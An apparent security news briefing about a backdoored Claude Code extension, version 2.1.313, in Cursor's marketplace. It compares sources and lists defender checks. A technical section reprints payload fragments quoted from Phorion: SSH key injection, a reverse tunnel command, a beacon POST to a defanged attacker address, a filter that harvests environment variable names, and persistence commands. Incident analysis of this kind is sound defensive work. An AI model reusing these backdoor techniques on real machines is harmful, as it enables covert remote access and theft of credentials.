P.K. SHARMA

Cyber security intelligence, AI governance, practitioner analysis

Cursor says malicious Claude Code extension 2.1.313 was live 11 hours; Phorion details the SSH backdoor

Cursor says a modified Claude Code extension, version 2.1.313, sat in its own marketplace for about 11 hours on 29 October, and Phorion describes an SSH key, a reverse tunnel and persistence. Help Net says Open VSX; neither primary page does.

By · LinkedIn · · 19 min read

A window of 11 hours 8 minutes, a ceiling of 5,000 users, and a store the sources name differently

Cursor says a maliciously modified build of Anthropic's Claude Code extension, version 2.1.313, was available in its own extension marketplace from about 2:27am to 1:35pm Pacific time on 29 October 2026. That is 11 hours and 8 minutes, or 668 minutes (derived), and 09:27 to 20:35 UTC (derived: Pacific Daylight Time is seven hours behind UTC on that date). Cursor says at most 5,000 users were affected and that it will contact them directly. Phorion, a macOS security company, published a technical advisory the next day describing what the injected code does.

Those figures establish a window and a ceiling. They do not establish how the package reached the marketplace, who is behind it, whether any machine was actually logged into, or how many of the up to 5,000 ran the payload. Neither primary page says. They also do not match the version of the story most readers saw first. Help Net Security reports that the package was published on Open VSX, the open source registry run by the Eclipse Foundation. Neither Cursor's notice nor Phorion's advisory mentions Open VSX, and the Open VSX registry, read at about 11:38 GMT on 30 October, lists no version 2.1.313 of the Anthropic claude-code extension. This briefing follows the two primary pages and reports the Open VSX claim as Help Net's, unconfirmed.

What was read, from 11:37 GMT on Friday 30 October 2026: Cursor's security notice dated 29 October, Phorion's advisory dated 30 October, Help Net's article (published 11:15 GMT on 30 October), the Open VSX registry listing for the extension, and Anthropic's public changelog. The Hacker News also reported the story, but its site refuses automated requests, so it was not read. Cursor's remediation scripts were not downloaded or opened, and the Cursor post on X that Help Net quotes was not read. Each main page was read again before this briefing was finished, at about 11:50 GMT.

Interests, in one sentence each. Phorion sells macOS endpoint security and ends its advisory with an offer of a demonstration. Cursor operates the marketplace where, by its own account, the package was available, so its notice is both the main account and the account of a party with a stake in how the incident reads. Anthropic makes the genuine extension, and Cursor says this version "was not developed by Anthropic". No statement from Anthropic, the Eclipse Foundation or Windsurf was found on their own pages, and Windsurf's blog index, read for the purpose, carried none (it listed posts about other products).

Where it was published: two primary pages say Cursor's marketplace, one news report says Open VSX

The question matters because it decides who must check what. A reader who uses Cursor needs to look at Cursor's marketplace advice. A reader who uses another editor that draws on Open VSX needs to know whether that registry ever carried the package. The sources read do not agree, and the table sets out exactly who says what.

Where each source places version 2.1.313, as read on 30 October 2026. Quotations are short and exact; the last column says whether Open VSX is named.

SourceWhat it says about whereOpen VSX named?
Cursor security notice, 29 Oct (primary)A specific extension package in the Cursor VS Code extension Marketplace: Anthropic.claude-code version 2.1.313No
Phorion advisory, 30 Oct (primary)The official Claude Code for VS Code extension on the Cursor Marketplace; says Cursor also pulled npm and VSCode versions of 2.1.313No
Help Net Security, 30 Oct (secondary)Published on Open VSX; Microsoft's Visual Studio Marketplace never carried it. No source is given for either claimYes
Open VSX registry listing, read 30 OctLists 2.1.312 and 2.1.314 under Anthropic claude-code. Version 2.1.313 returned HTTP 404, Extension not foundIt is the registry itself
Drawn from Cursor's notice, Phorion's advisory, Help Net's article and the Open VSX registry listing, all read 30 October 2026.

What the registry check does and does not show. Open VSX shows what it lists now. A version that was removed would be absent too, so "not found" does not prove it never existed there. Anthropic's version numbers also skip: between 2.1.200 and 2.1.314 there are 115 numbers and the Open VSX listing holds 100 of them, so 15 are absent (derived), and Anthropic's own public changelog has no 2.1.313 entry either. A gap at 2.1.313 is therefore weak evidence in either direction.

What can be said is narrower. Neither primary ties the package to Open VSX. The only place that does is a news report that does not say where it learned it. Whether Cursor's marketplace takes its listings from Open VSX is not stated by any source read. If it does, that could reconcile the accounts, but that is an inference, not a finding. Likewise, Help Net's statement that Microsoft's marketplace never carried the package is not addressed by either primary, and this briefing did not check it.

The other open question is the route in. Neither primary says whether the genuine publisher account, the marketplace's own upload path, or something else was used. Cursor says it removed the version, shut the marketplace as a precaution, audited access, found no other tampered extensions, rotated its keys, rebuilt the marketplace and brought it back. That describes what Cursor did afterwards. It is not a root cause.

The window and the 5,000: what each figure counts

Help Net's figure, up to 5,000 Cursor users affected in a subheading, comes from Cursor's notice, which says "At most 5,000 users were affected". The unit is users, not installs, downloads or active users, and Cursor does not say how it counted or whether "affected" means installed, updated or ran the payload. Its remediation advice is addressed to anyone who installed or updated to the version between 2:27am and 1:35pm Pacific on 29 October, so the figure plausibly counts people in that group. That is an inference.

The figures in the story, who stated them, what they count and what is not stated. Derived figures are labelled.

FigureStated byWhat it countsNot stated
About 2:27am to 1:35pm PT, 29 OctCursorTime a modified 2.1.313 was available in Cursor's marketplaceWhen it first appeared; how long before detection; when it was removed within the window
11 h 8 min, 668 minDerived from Cursor's timesLength of that windowAnything beyond Cursor's own times
At most 5,000CursorUsers affected, a ceilingUnit of count, method, how many ran the payload, any measured figure
Up to 5,000 Cursor usersHelp NetRestates Cursor's ceiling and adds the word CursorNothing beyond Cursor's notice
Drawn from Cursor's notice, the Open VSX registry timestamps, Help Net's page metadata and this site's own read times, 30 October 2026. UTC conversions of Cursor's Pacific times are derived.

One caution on time. Cursor's window is given as "about" 2:27am to 1:35pm, and Help Net rounds it to about 11 hours. The derived 11 hours 8 minutes is the arithmetic of Cursor's two stated times and nothing more precise. When Phorion first saw the package, and when Cursor first noticed it, are not stated.

What the code does, as Phorion prints it, and where Cursor's account differs

Phorion says the extension.js file starts with an injected immediately invoked function expression prepended to the minified bundle, and that the rest of the bundle looks like the standard extension. It says the injected code runs as soon as Node loads the file, before the extension's normal activate callback, so the user does not need to interact with the extension. Cursor's list of behaviours matches Phorion's in outline: collect host details, try to add an attacker key, try to enable local SSH and open a reverse tunnel, try to persist, and report by HTTP POST to /beacon on port 8099.

Drawn from Phorion's advisory of 30 October 2026, read the same day, with Cursor's notice of 29 October for the point where they differ.

The key detail is the gate. Phorion says the code asks macOS whether Remote Login is off by running a command that, for a standard user, prints an administrator access error instead of Off. The code only tries to turn SSH on if the output contains Off, so it skips that step and treats the error as if SSH were already on. On a Mac without Remote Login the tunnel still connects out, but forwarded traffic reaches a closed port 22. Phorion states plainly that this is not a defence: a Mac with Remote Login already enabled, or one where the user enables it later, is ready for the operator, and the key, persistence and beacon are dropped either way.

Cursor explains the failure differently. It says turning on the local SSH service needs administrator rights the extension lacks on most macOS and Windows hosts, and that on those hosts "the attacker could not have logged in through the tunnel". That is true only where SSH was off. Neither source says how many machines had SSH running, and neither prints a count of logins. Phorion also notes a separate bug in the Windows path, where a helper hardcodes /bin/sh, and says non interactive sudo only works where passwordless sudo is already configured.

Persistence and artifacts by platform, as printed in Phorion's advisory (30 October 2026). Cursor's notice lists the macOS and Windows items only.

PlatformPersistencePhorion's note
macOSUser LaunchAgent com.apple.sysmond.plist, running /bin/sh against ~/.config/.smt, loaded with launchctlRuns as the user, not a root LaunchDaemon
Linux@reboot entry in the user's crontab, with scripts ~/.config/.smt and ~/.config/.smtkSays a crontab check can wipe existing user cron jobs on repeat runs
WindowsScheduled task SysMon, requesting SYSTEM; fallback sysmon.cmd in the Startup folderThe SYSTEM task needs admin; the Startup fallback runs as the user at login

Two gaps in the record. First, Phorion's table says the Linux crontab bug is "detailed below", but the advisory as read contains no such detail, so that claim is stated and not shown. Second, Phorion's analysis covers all three platforms but focuses on macOS, while Cursor's package hashes and remediation scripts cover macOS (darwin arm64) and Windows (win32 x64) only. Whether a Linux build was in Cursor's marketplace is not stated by any source read. Phorion's own sample hash is for the extension.js bundle, and Cursor's are for the packaged VSIX files, so the two sets of hashes are different objects and cannot be compared.

What it sends. Phorion lists the hostname, username, OS platform and architecture, home directory, working directory, global Git email, public IP address and status flags from each setup stage, plus up to 40 environment variable names matching a pattern for key, token, secret, password, AWS and GCP. Names only, not values. Phorion's reading is that this gives the operator an inventory of which hosts hold cloud credentials. Cursor adds that the limited collection "does not rule out later credential access over the backdoor". Cursor also says the attacker's server no longer functions after it worked with the hosting cloud provider, so the tunnel and the reports no longer work. That is Cursor's statement, and it does not undo what was already installed on a machine.

Stated and not stated

What the sources read establish, and what they leave open. Cursor and Phorion are primary; Help Net is secondary.

QuestionStated, and by whomNot stated
Which store carried itCursor's marketplace (Cursor, Phorion). Open VSX (Help Net only)Any link between Cursor's marketplace and Open VSX; whether Visual Studio Marketplace carried it
Whose account or system was usedCursor: not developed by Anthropic; audited access, rotated keys, rebuilt the marketplaceHow the package got there; whether a publisher account, an upload path or the marketplace was compromised
How long it was availableAbout 2:27am to 1:35pm PT, 29 Oct (Cursor)First appearance; any availability outside that window or on other stores
How many were affectedAt most 5,000 users (Cursor)Unit, method, number that ran the payload
What the payload doesKey, reverse tunnel, persistence, beacon, variable names (Phorion; Cursor agrees in outline)Any command channel beyond the tunnel; Linux build in the marketplace; the Linux cron bug detail
Whether anyone was accessedCursor: where SSH enable fails, no login through the tunnel. Phorion: ready if Remote Login already onAny confirmed login; any credential use; any data taken beyond the beacon fields
Who is behind itNothingAny actor, motive or attribution
Vendor statementsCursor's notice and, per Help Net, a post on XAny statement from Anthropic, the Eclipse Foundation or Windsurf found on their own pages

The friendly name check: an Anthropic name, an Apple label and a telemetry comment

Several labels in this story do the work of a control and are not one. The package ran under the identifier Anthropic.claude-code, the same publisher and name as the genuine extension, and Cursor says the version "was not developed by Anthropic". On a machine, the publisher name in an extension identifier told a developer nothing about who built that version. Phorion calls it "official", and that word describes the identifier and not the origin.

The persistence uses the same trick in reverse. The macOS LaunchAgent is called com.apple.sysmond, which looks like an Apple system job, and Windows gets a task called SysMon. The attacker's key carries the comment svc-telemetry, which reads like a monitoring service account. Phorion notes that the script checks whether that comment is already in the file, not whether the key is, so a hunt should look at the key fingerprint and not rely on the comment alone. A defence built on spotting suspicious names would miss all three.

The Open VSX record carries the same lesson from the other side. The listing read shows verified true and publishedWithTrustedPublishing false for the two versions read, 2.1.312 and 2.1.314. A verified namespace says who the namespace belongs to, not that every version under it came through the owner's own pipeline. A related gap between a name and an identity appears in an earlier briefing on npm Trusted Publishing, where Bloom Security says npm matched a repository's name, not its numeric ID, until a first publish. Each time, a label is accepted as proof.

What a developer on a VS Code compatible editor should do, in order

The first three steps need no tooling and decide whether the rest matters. Commands and paths are in the Technical details section, attributed to Cursor and Phorion. Where an action is this briefing's suggestion and not something a primary prints, it says so.

Take this with you

Ranked actions for developers on VS Code compatible editors

  • Find out which marketplace your editor uses. Cursor's notice concerns its own marketplace. Help Net says Cursor and Windsurf rely on Open VSX and that VS Code uses Microsoft's marketplace, a claim this briefing could not confirm from the primaries. Check your editor's own extension settings rather than assuming.
  • List installed extensions with their versions and look for Anthropic.claude-code 2.1.313. Phorion names the folder as anthropic.claude-code-2.1.313-darwin-arm64 under the editor's extensions directory.
  • If it was installed, check the SSH authorized keys file for the svc-telemetry entry using Cursor's command for macOS or its PowerShell check for Windows. Phorion advises checking the key fingerprint as well, since the script tests the comment only.
  • Check persistence even if the key is absent: the LaunchAgent com.apple.sysmond.plist, the files ~/.config/.smt and ~/.config/.smtk, a crontab @reboot entry on Linux, the scheduled task SysMon and sysmon.cmd in the Startup folder on Windows.
  • Look for the tunnel: ssh or autossh processes using a remote forward and identity files under /tmp or ~/.config, and outbound connections to the attacker address on ports 22 and 8099 in network logs.
  • Check SSH logs for logins from localhost using the svc-telemetry key. Phorion says inbound sessions through the tunnel appear to come from localhost, so this separates a tunnel that was merely open from a login.
  • Isolate any host that shows the key, the persistence files or the tunnel, and consider a rebuild. Do not rely on uninstalling the extension: both Cursor and Phorion say it does not remove the backdoor.
  • Rotate credentials and sessions the machine could reach, from a trusted system, starting with variables whose names match KEY, TOKEN, SECRET, PASS, AWS or GCP. Cursor says the limited collection does not rule out later credential access.
  • Remember that Remote Login on a Mac, or sshd on Linux, turns a planted key into access. If you do not need inbound SSH on a developer machine, turn it off. This is this briefing's suggestion, not a primary's instruction.
  • Review egress from developer machines and alert on an editor helper process writing to the SSH directory or creating a hidden launch script. Phorion describes both as detection signals. It sells a product that does this, so test the advice with your own tools.
  • Use Cursor's remediation scripts only after reading them. This briefing did not download or read them, and they are Cursor's, not an independent tool.

Technical details

Everything in the code blocks below is copied from Cursor's notice or Phorion's advisory, each named in its caption, and read on 30 October 2026. Nothing here is a working exploit: the payload excerpts are the fragments Phorion itself prints, and Phorion redacts the embedded public key in its own excerpt. Addresses stay defanged as each source printed them (the two sources defang slightly differently). Where a source used a dash in a line, a colon replaces it here, and Phorion's table rows are reflowed to one line each. A defender searches logs for the plain forms. Cursor's remediation scripts are not reproduced because they were not read.

First, the file hashes. Phorion's SHA-256 is for the extension.js bundle and the two fingerprints identify the keys. Cursor's hashes are for the whole packaged extension for two platforms. They are different files, so a match on one does not test the other. A defender compares hashes of extension files on disk, and the fingerprints against keys listed in authorized keys files.

Text
SHA-256: ecb58cb29078d9646ad1dcdbe51526f2d9cfea06be5fb2ab183e8ecc3ab6bf15  (backdoored extension.js bundle)
Victim login public key fingerprint: SHA256:0Z6R+DF64Do2nwQic8a7kkfDLNNk4IiK+2U2Rci4htk  (Ed25519 key appended to ~/.ssh/authorized_keys, comment svc-telemetry)
Tunnel public key fingerprint: SHA256:KOAU57+ZG6u3MG4WwzPzPX2O5YEe9qdOC1Bl+6MVyDQ  (embedded Ed25519 key used to authenticate to the tunnel server, comment svc-telemetry-tun)
Sample hash and key fingerprints, as printed by Phorion's advisory of 30 October 2026, read 30 October 2026.
Text
Modified VSIX SHA-256 (darwin-arm64): 432ccdee3801f99e52b8fe31f69ea9870118e96ea7ef9ecabed1479621b5ab62 (MD5 da5469c4221775e9fe2e413e59ca7fd9)
Modified VSIX SHA-256 (win32-x64): 3de1722901165769893bef57c72594e9a54459faa23f3091b136b79966edd081 (MD5 bd3b71ddf3d0cc3af76249afd2c0eda1)
Modified code: extension.js in the anthropic.claude-code-2.1.313-darwin-arm64 (macOS) or anthropic.claude-code-2.1.313-win32-x64 (Windows) extension folder contains 134[.]209[.]82[.]225 and svc-telemetry
Package hashes and the marker in the modified code, as printed by Cursor's security notice of 29 October 2026, read 30 October 2026.

Network indicators. The attacker address appears in both sources. Cursor says the server is offline, so a connection attempt now is evidence of an old install trying to call out, not of a live operator. The two public IP lookup services are legitimate, and Cursor says access to them alone is not an indicator.

Text
Attacker endpoint: 134[.]209[.]82[.]225
Reverse SSH: tunnel@134[.]209[.]82[.]225, TCP 22
External beacon: hxxp://134[.]209[.]82[.]225:8099/beacon (HTTP POST)
Local beacon attempt: 127[.]0[.]0[.]1:8099/beacon (HTTP POST, loopback)
Public IP lookups to ifconfig[.]me / api[.]ipify[.]org: legitimate services; access alone is not an indicator
Network indicators, as printed by Cursor's security notice of 29 October 2026, read 30 October 2026.

The planted key. This is a public key, the line an attacker's login depends on, and it is what a defender greps for in authorized keys files. It is printed by Cursor. Phorion advises matching the fingerprint, not only the comment.

Text
Unauthorized public key: ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDdvylCEJ/k2TpezcTfedrkHyFSK9IZ3vmP6vhY4Ss0P svc-telemetry
Unauthorized key fingerprint: SHA256:0Z6R+DF64Do2nwQic8a7kkfDLNNk4IiK+2U2Rci4htk
Reverse-tunnel key fingerprint: SHA256:KOAU57+ZG6u3MG4WwzPzPX2O5YEe9qdOC1Bl+6MVyDQ
Key comment: svc-telemetry
The unauthorized public key and key fingerprints, as printed by Cursor's security notice of 29 October 2026, read 30 October 2026.

Files and persistence, by platform, from both sources. Hunt for these paths in endpoint file telemetry. Phorion says the extension host process writing to the SSH directory is the signal that process only rules for shell commands will miss.

Text
macOS: unauthorized key in ~/.ssh/authorized_keys; ~/.config/.smt, ~/.config/.smtk; $TMPDIR/.stk_<10 hex>; ~/Library/LaunchAgents/com.apple.sysmond.plist (label com.apple.sysmond)
Windows: %USERPROFILE%\.ssh\authorized_keys, %USERPROFILE%\.config\smt.cmd, %USERPROFILE%\.config\smtk, %TEMP%\.stk_<10 hex>; scheduled task SysMon (attempts to run as SYSTEM); fallback %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\sysmon.cmd
Files and persistence, as printed by Cursor's security notice of 29 October 2026, read 30 October 2026.
Text
~/.<ide>/extensions/anthropic.claude-code-2.1.313-darwin-arm64   macOS (Apple Silicon); <ide> varies by editor
~/.ssh/authorized_keys (comment svc-telemetry)   All platforms
<TMP>/.stk_<10 hex chars> ($TMPDIR/.stk_* on macOS)   Tunnel private key; suffix is the first 10 hex chars of MD5(hostname + HOME)
~/.config/.smt and ~/.config/.smtk   macOS, Linux: persistence shell script and recreated tunnel key
~/Library/LaunchAgents/com.apple.sysmond.plist   macOS: user LaunchAgent executing /bin/sh ~/.config/.smt
@reboot cron entry for ~/.config/.smt   Linux: user crontab persistence
~/.config/smt.cmd and ~/.config/smtk   Windows: persistence batch script and tunnel key
Scheduled task SysMon   Windows: startup scheduled task (requests SYSTEM)
%APPDATA%/Microsoft/Windows/Start Menu/Programs/Startup/sysmon.cmd   Windows: Startup folder fallback script
Host artifacts, as printed by Phorion's advisory of 30 October 2026, read 30 October 2026.

Process and command line indicators for hunting. The options in the third line are those the tunnel is launched with. Phorion says the zero in the remote forward asks the attacker's server to pick the listening port.

Text
ssh -N -R '*:0:localhost:22'
autossh -M 0
SSH options: StrictHostKeyChecking=no, UserKnownHostsFile=/dev/null, ServerAliveInterval=30, ServerAliveCountMax=3, ExitOnForwardFailure=yes, IdentitiesOnly=yes
schtasks /create /tn SysMon
systemsetup -setremotelogin on
Add-WindowsCapability -Online -Name OpenSSH.Server~~~~0.0.1.0
Process and command line indicators, as printed by Cursor's security notice of 29 October 2026, read 30 October 2026.

Cursor's own check for whether a machine holds the key. It reads the authorized keys file and prints a verdict. A defender runs it as the user whose machine is being checked. Phorion's advice to check the fingerprint as well applies, since the script tests for the comment.

Text
grep -qs svc-telemetry ~/.ssh/authorized_keys && echo "svc-telemetry key found" || echo "No key found; machine not impacted"
Check for macOS, as printed by Cursor's security notice of 29 October 2026, read 30 October 2026.
Text
$files = "$HOME\.ssh\authorized_keys", "C:\ProgramData\ssh\administrators_authorized_keys" | Where-Object { Test-Path $_ }
if ($files -and (Select-String svc-telemetry $files)) { "svc-telemetry key found" } else { "No key found; machine not impacted" }
Check for Windows PowerShell, as printed by Cursor's security notice of 29 October 2026, read 30 October 2026.

Now the payload excerpts Phorion prints, to explain the gate. In order: the key is appended unless the comment is already present; the macOS branch asks for Remote Login state without elevation; and that command, run by a standard user, prints the message in the third block. The code tests that output for the letters Off, so the message makes the test false and the enable step is skipped. The fourth block is the helper that returns the output.

Text
var sd = path.join(HOME, ".ssh"),
    ak = path.join(sd, "authorized_keys");
// ...
if (cur.indexOf("svc-telemetry") < 0) {
  fs.appendFileSync(ak, PUB + "\n");
  d.sshKey = "added"
} else {
  d.sshKey = "present"
}
Key append logic, as printed by Phorion's advisory of 30 October 2026, read 30 October 2026. The embedded key is redacted by Phorion.
Text
// ...
else if (PLAT === "darwin") {
  var rl = ex("systemsetup -getremotelogin 2>/dev/null", 4000);
  d.remoteLogin = rl;
  if (/Off/i.test(rl)) {
    det("sudo -n systemsetup -setremotelogin on >/dev/null 2>&1");
    d.remoteLoginOn = "tried"
  }
}
macOS Remote Login check, as printed by Phorion's advisory of 30 October 2026, read 30 October 2026.
Text
You need administrator access to run this tool... exiting!
The output a standard user gets from the check command, as printed by Phorion's advisory of 30 October 2026, read 30 October 2026.
Text
function ex(c, t) {
  try {
    return cp.execSync(c, {
      timeout: t || 3000,
      stdio: ["ignore", "pipe", "ignore"],
      windowsHide: true
    }).toString().trim()
  } catch (e) {
    return ""
  }
}
The helper that returns command output, as printed by Phorion's advisory of 30 October 2026, read 30 October 2026.

The tunnel key filename and the reconnaissance filter. The first shows how the temporary key file is named, so a defender can search for the pattern. The second is the pattern for environment variable names: it keeps names, not values, and takes at most 40.

Text
var kf = path.join(
  TMP,
  ".stk_" + crypto.createHash("md5")
    .update(String(os.hostname()) + HOME).digest("hex").slice(0, 10)
);
// ...
var RF = (PLAT === "win32") ? "\"*:0:localhost:22\"" : "'*:0:localhost:22'";
Tunnel key file naming and the remote forward string, as printed by Phorion's advisory of 30 October 2026, read 30 October 2026.
Text
Object.keys(process.env)
  .filter(function(k) {
    return /KEY|TOKEN|SECRET|PASS|AWS|GCP/i.test(k)
  })
  .slice(0, 40)
Environment variable name filter, as printed by Phorion's advisory of 30 October 2026, read 30 October 2026.

The beacon request shape and the LaunchAgent keys. The beacon is plaintext HTTP, so proxy or network logs can show it. The plist keys show the persistence setting: run at load and keep alive.

Text
var r = http.request({
  host: h,
  port: p,
  path: "/beacon",
  method: "POST",
  timeout: 3000,
  headers: {"content-type": "application/json"}
}, function(res) {
  res.resume()
});
// ...
r.write(JSON.stringify(d));
r.end()
Beacon request, as printed by Phorion's advisory of 30 October 2026, read 30 October 2026.
Text
<key>Label</key>
<string>com.apple.sysmond</string>
<!-- ... -->
<key>RunAtLoad</key>
<true/>
<key>KeepAlive</key>
<true/>
LaunchAgent keys, as printed by Phorion's advisory of 30 October 2026, read 30 October 2026. The omitted lines are marked in the source.

What the primaries do not print: the full remediation scripts as text in the pages read, any Linux package hash, any Open VSX package hash, any log line from a real victim, or a credential. None is invented here.

The question the record leaves open

Cursor and Phorion between them describe a payload in detail and a window in hours. They leave the one thing a defender would most like to know: how a package carrying the vendor's own identifier got into a marketplace it did not come from. The record also leaves unsettled which stores carried it, and the only claim that it was on Open VSX has no source behind it.

Developer machines are valuable because they hold keys, tokens and source. A related route, hidden editor tasks planted in repositories, appears in an earlier briefing on GhostAction. So here is the question for any team that lets editors install extensions automatically: when an extension arrives under a vendor's name, what, other than that name, tells your machines whose hand published it?

Key facts

Sources

  1. PrimaryCursor's security notice dated 29 October 2026: the 2:27am to 1:35pm PT window, at most 5,000 users, what the code does, what Cursor did, the check commands and the indicators. The operator's own account, read in fullCursor (Anysphere)accessed 2026-10-30
  2. PrimaryPhorion's advisory dated 30 October 2026 (the address spells official with one f): the injected function, the stages, the macOS check bug, the persistence table, detection advice and indicators. A macOS security vendor's analysis, read in fullPhorionaccessed 2026-10-30
  3. PrimaryThe Open VSX registry listing for the Anthropic claude-code extension, read 30 October 2026 at about 11:38 GMT: the list of versions (2.1.312 and 2.1.314, no 2.1.313) and the verified flagOpen VSX registryaccessed 2026-10-30
  4. PrimaryOpen VSX record for version 2.1.314, timestamp 2026-10-30 01:07 UTC, used for the timelineOpen VSX registryaccessed 2026-10-30
  5. PrimaryOpen VSX record for version 2.1.312, timestamp 2026-10-27 20:26 UTC, used for the timeline and the publishing flagsOpen VSX registryaccessed 2026-10-30
  6. PrimaryAnthropic's public Claude Code changelog: entries run from 2.1.314 to 2.1.312 with no 2.1.313 entry; version numbers are skipped elsewhere tooAnthropic (GitHub)accessed 2026-10-30
  7. PrimaryWindsurf's blog index, read 30 October 2026 for any statement on this incident; none was listedWindsurfaccessed 2026-10-30
  8. Reported byHelp Net Security, 30 October 2026, 11:15 GMT: the only source read that says Open VSX, and that Microsoft's marketplace never carried it. Used as the pointer to the primaries and for that claim, attributedHelp Net Securityaccessed 2026-10-30

Share this briefing

Know someone who owns this problem? Send it to them.

Related briefings

The briefing, in your inbox

Practitioner analysis of cyber and AI security news. No vendor noise.

How often

Every new briefing in one email, at 7am, or at 7am, 12:30pm and 6pm. Nothing is sent when nothing is new. Unsubscribe any time.